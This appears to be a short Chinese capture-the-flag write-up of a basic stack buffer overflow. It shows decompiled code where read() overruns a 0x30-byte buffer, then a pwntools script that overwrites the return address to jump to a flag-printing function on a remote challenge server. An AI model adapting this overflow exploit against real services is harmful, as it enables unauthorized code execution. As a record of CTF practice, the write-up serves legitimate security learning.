checksec看了下,四个保护都没有开。
main中代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-30h]
memset(&s, 0, 0x30uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("say something?");
read(0, &s, 0x100uLL);
puts("oh,that's so boring!");
return 0;
}
还看到了直接获取flag的get_shell_函数,地址是0x400751:
int get_shell_()
{
puts("tql~tql~tql~tql~tql~tql~tql");
puts("this is your flag!");
return system("cat flag");
}
可以利用read函数溢出让返回地址为0x400751,exp如下:
from pwn import *
p = remote('114.67.246.176',16081)
payload = 'a'*0x30+'a'*0x8+p64(0x400751)
p.sendline(payload)
p.interactive()